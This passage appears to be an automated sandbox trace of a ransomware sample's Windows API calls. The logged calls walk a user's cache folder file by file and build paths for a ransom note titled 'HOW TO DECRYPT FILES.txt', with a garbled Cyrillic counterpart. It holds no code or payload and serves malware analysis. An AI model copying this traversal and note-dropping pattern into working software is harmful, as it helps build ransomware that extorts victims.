pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.067] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.067] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.067] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" [0087.068] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0087.068] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.068] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 1 [0087.068] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned 1 [0087.068] lstrcmpiA (lpString1="", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned -1 [0087.068] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220" [0087.068] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.068] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.068] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.068] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.068] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" [0087.068] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0087.068] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.069] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="696F3DE637E6DE85B458996D49D759AD") returned 1 [0087.069] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="696F3DE637E6DE85B458996D49D759AD") returned 1 [0087.069] lstrcmpiA (lpString1="", lpString2="696F3DE637E6DE85B458996D49D759AD") returned -1 [0087.069] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4") returned="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" [0087.069] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.069] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.069] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.069] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.069] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="696F3DE637E6DE85B458996D49D759AD" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD" [0087.069] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0087.069] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.069] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 1 [0087.069] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned 1 [0087.069] lstrcmpiA (lpString1="", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned -1 [0087.069] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\696F3DE637E6DE85B458996D49D759AD") returned="696F3DE637E6DE85B458996D49D759AD" [0087.070] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.070] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.070] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" [0087.070] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0087.070] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.070] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21") returned 1 [0087.070] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21") returned 1 [0087.070] lstrcmpiA (lpString1="", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21") returned -1 [0087.070] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21") returned="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21" [0087.070] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.070] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.070] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.071] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.071] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="7396C420A8E1BC1DA97F1AF0D10BAD21" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21" [0087.071] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0087.071] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.071] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 1 [0087.071] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned 1 [0087.071] lstrcmpiA (lpString1="", lpString2="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned -1 [0087.071] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7396C420A8E1BC1DA97F1AF0D10BAD21") returned="7396C420A8E1BC1DA97F1AF0D10BAD21" [0087.071] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.071] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.071] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.071] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.072] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0087.072] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.072] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0087.072] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned 1 [0087.072] lstrcmpiA (lpString1="", lpString2="7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned -1 [0087.072] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6") returned="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6" [0087.072] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.072] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.072] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0087.072] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.072] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 1 [0087.072] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned 1 [0087.072] lstrcmpiA (lpString1="", lpString2="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned -1 [0087.073] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B2238AACCEDC3F1FFE8E7EB5F575EC9") returned="7B2238AACCEDC3F1FFE8E7EB5F575EC9" [0087.073] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.073] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.073] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0087.073] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.073] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 1 [0087.073] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned 1 [0087.073] lstrcmpiA (lpString1="", lpString2="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned -1 [0087.073] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D" [0087.073] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS 